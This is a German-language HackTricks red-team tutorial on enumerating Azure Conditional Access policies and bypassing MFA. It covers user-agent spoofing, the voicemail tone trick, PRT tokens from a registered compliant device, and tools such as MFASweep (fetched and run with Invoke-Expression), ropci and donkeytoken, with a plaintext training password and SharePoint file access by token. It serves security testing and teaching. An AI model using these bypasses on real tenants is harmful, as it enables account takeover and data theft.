Az - Conditional Access Policies & MFA Bypass

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks

Grundlegende Informationen

Azure Conditional Access policies sind Regeln, die in Microsoft Azure eingerichtet werden, um Zugriffskontrollen auf Azure services und applications basierend auf bestimmten Bedingungen durchzusetzen. Diese Policies helfen Organisationen, ihre Ressourcen zu sichern, indem sie unter den richtigen Umständen die passenden Zugriffskontrollen anwenden.
Conditional access policies definieren im Wesentlichen Wer auf Was von Wo und Wie zugreifen kann.

Hier sind ein paar Beispiele:

  1. Sign-In Risk Policy: Diese Policy kann so konfiguriert werden, dass bei Erkennung eines Sign-In-Risikos eine Multi-Faktor-Authentifizierung (MFA) erforderlich ist. Zum Beispiel kann das System bei ungewöhnlichem Anmeldeverhalten — etwa einer Anmeldung aus einem anderen Land — eine zusätzliche Authentifizierung anfordern.
  2. Device Compliance Policy: Diese Policy kann den Zugriff auf Azure services auf Geräte beschränken, die den Sicherheitsstandards der Organisation entsprechen. Beispielsweise könnte der Zugriff nur von Geräten erlaubt werden, die aktuelle Antivirus-Software installiert haben oder eine bestimmte Betriebssystemversion ausführen.

Enumeration

# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'

# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"

Bypässe von Conditional Access Policies

Es ist möglich, dass eine Conditional Access Policy Informationen überprüft, die leicht manipuliert werden können und so eine Umgehung der Richtlinie erlauben. Wenn die Richtlinie beispielsweise MFA konfiguriert, kann ein Angreifer sie umgehen.

Beim Konfigurieren einer Conditional Access Policy muss man die betroffenen Benutzer und Zielressourcen (z. B. alle cloud apps) angeben.

Ebenfalls müssen die Bedingungen konfiguriert werden, die die Richtlinie auslösen:

  • Network: IP, IP-Bereiche und geografische Standorte
    • Kann umgangen werden, indem ein VPN oder Proxy benutzt wird, um sich mit einem erlaubten Land zu verbinden oder indem man es schafft, sich von einer erlaubten IP-Adresse anzumelden
  • Microsoft risks: User risk, Sign-in risk, Insider risk
  • Device platforms: Any device oder spezifisch Android, iOS, Windows phone, Windows, macOS, Linux
    • Wenn “Any device” nicht ausgewählt ist, aber alle anderen Optionen ausgewählt sind, ist es möglich, dies zu umgehen, indem ein zufälliger user-agent verwendet wird, der nicht zu diesen Plattformen gehört
  • Client apps: Optionen sind “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” und “Other clients”
    • Umgehbar, indem man sich mit einer nicht ausgewählten Option anmeldet
  • Filter for devices: Es ist möglich, eine Regel in Bezug auf das verwendete Gerät zu erstellen
  • Authentication flows: Optionen sind “Device code flow” und “Authentication transfer”
    • Das betrifft einen Angreifer nur, wenn er versucht, eines dieser Protokolle in einem Phishing-Angriff zu missbrauchen, um auf das Konto des Opfers zuzugreifen

Die möglichen Ergebnisse sind: Block oder Gewähren des Zugriffs mit möglichen Bedingungen wie Erfordernis von MFA, Gerät muss compliant sein …

Device Platforms - Device Condition

Es ist möglich, eine Bedingung basierend auf der device platform (Android, iOS, Windows, macOS …) zu setzen; diese basiert jedoch auf dem user-agent und ist daher leicht zu umgehen. Selbst wenn alle Optionen MFA erzwingen, kann man mit einem user-agent, der nicht erkannt wird, die MFA oder den Block umgehen:

Allein damit der Browser einen unbekannten user-agent sendet (z. B. Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile) wird diese Bedingung nicht ausgelöst.
Du kannst den user-agent manuell in den Entwicklertools ändern:

Oder verwende eine Browser-Erweiterung wie diese.

Locations: Countries, IP ranges - Device Condition

Wenn dies in der Conditional Policy gesetzt ist, könnte ein Angreifer einfach ein VPN im erlaubten Land nutzen oder versuchen, einen Weg zu finden, von einer erlaubten IP-Adresse aus zuzugreifen, um diese Bedingungen zu umgehen.

Cloud Apps

Es ist möglich, Conditional Access Policies so zu konfigurieren, dass z. B. MFA blockiert oder erzwungen wird, wenn sich ein Benutzer bei einer bestimmten App anmeldet:

Um zu versuchen, diesen Schutz zu umgehen, solltest du prüfen, ob du dich in irgendeine Anwendung anmelden kannst.
Das Tool AzureAppsSweep hat Zahler von application IDs hardcoded und versucht, sich in diese anzumelden; es zeigt dir an und gibt dir sogar das Token, wenn es erfolgreich ist.

Um bestimmte application IDs in bestimmten Ressourcen zu testen, kannst du auch ein Tool wie:

roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout

<token>

Außerdem ist es möglich, die Login-Methode zu schützen (z. B. wenn du versuchst, dich aus dem Browser oder aus einer Desktop-Anwendung anzumelden). Das Tool Invoke-MFASweep führt einige Prüfungen durch, um zu versuchen, diese Schutzmaßnahmen ebenfalls zu umgehen.

Das Tool donkeytoken kann ebenfalls für ähnliche Zwecke verwendet werden, obwohl es scheinbar nicht gepflegt wird.

Das Tool ROPCI kann ebenfalls verwendet werden, um diese Schutzmaßnahmen zu testen und zu prüfen, ob es möglich ist, MFAs oder Sperren zu umgehen, allerdings arbeitet dieses Tool aus einer whitebox-Perspektive. Zuerst musst du die Liste der im tenant erlaubten Apps herunterladen und dann versucht es, sich bei ihnen anzumelden.

Weitere Az MFA Bypasses

Rufton

Eine Azure MFA-Option besteht darin, einen Anruf an die konfigurierte Telefonnummer zu erhalten, bei dem der Benutzer aufgefordert wird, das Zeichen # zu senden.

Caution

Da Zeichen nur Töne sind, könnte ein Angreifer die Voicemail-Nachricht der Telefonnummer kompromittieren, die Nachricht so konfigurieren, dass sie den Ton von # enthält, und dann bei der Anforderung der MFA dafür sorgen, dass das Telefon des Opfers besetzt ist (indem er es anruft), sodass der Azure-Anruf an die Voicemail weitergeleitet wird.

Compliant Devices

Richtlinien verlangen häufig ein compliant device oder MFA, daher könnte ein Angreifer ein compliant device registrieren, ein PRT-Token erhalten und auf diese Weise die MFA umgehen.

Beginne damit, ein compliant device in Intune zu registrieren, und erhalte dann das PRT mit:

$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials

$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce

Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

<token returned>

Weitere Informationen zu dieser Art von Angriff finden Sie auf der folgenden Seite:

Az - Primary Refresh Token (PRT)

Werkzeuge

AzureAppsSweep

Dieses Skript sammelt einige Benutzeranmeldeinformationen und prüft, ob es sich bei bestimmten Anwendungen anmelden kann.

Das ist nützlich, um zu prüfen, ob für die Anmeldung bei einigen Anwendungen kein MFA erforderlich ist, die Sie später missbrauchen könnten, um Privilegien zu eskalieren.

roadrecon

Ermittelt alle Richtlinien

roadrecon plugin policies

Invoke-MFASweep

MFASweep ist ein PowerShell-Skript, das versucht, sich mit einem angegebenen Satz von Anmeldedaten bei verschiedenen Microsoft-Diensten anzumelden und zu erkennen, ob MFA aktiviert ist. Je nach Konfiguration der conditional access policies und anderer MFA-Einstellungen können einige Protokolle als Single-Factor übrig bleiben. Es enthält außerdem eine zusätzliche Prüfung auf ADFS-Konfigurationen und kann versuchen, sich beim on-prem ADFS-Server anzumelden, falls einer erkannt wird.

Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>

ROPCI

Dieses Tool hat dabei geholfen, MFA bypasses zu identifizieren und anschließend APIs in mehreren produktiven AAD-Tenants zu missbrauchen, bei denen AAD-Kunden glaubten, MFA sei erzwungen, aber ROPC-basierte Authentifizierung erfolgreich war.

Tip

Du musst Berechtigungen haben, um alle applications auflisten zu können, damit du die Liste der apps generieren kannst, die du brute-force möchtest.

./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json

donkeytoken

Donkey token ist eine Sammlung von Funktionen, die Sicherheitsberater dabei unterstützen sollen, Conditional Access Policies zu validieren, Tests für 2FA-enabled Microsoft portals durchzuführen usw..

git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force

Teste jedes Portal ob ein login ohne MFA möglich ist:

$username = "conditional-access-app-user@azure.hacktricks-training.com"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue

Da das Azure portal nicht eingeschränkt ist, ist es möglich, ein token vom portal endpoint zu sammeln, um auf jeden erkannten service zuzugreifen, der durch die vorherige Ausführung erkannt wurde. In diesem Fall wurde Sharepoint identifiziert, und ein token zum Zugriff darauf angefordert:

$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token

Angenommen, das Token hat die Berechtigung Sites.Read.All (von Sharepoint), selbst wenn du wegen MFA nicht über das Web auf Sharepoint zugreifen kannst, ist es möglich, mit dem generierten Token auf die Dateien zuzugreifen:

$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl

Referenzen

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks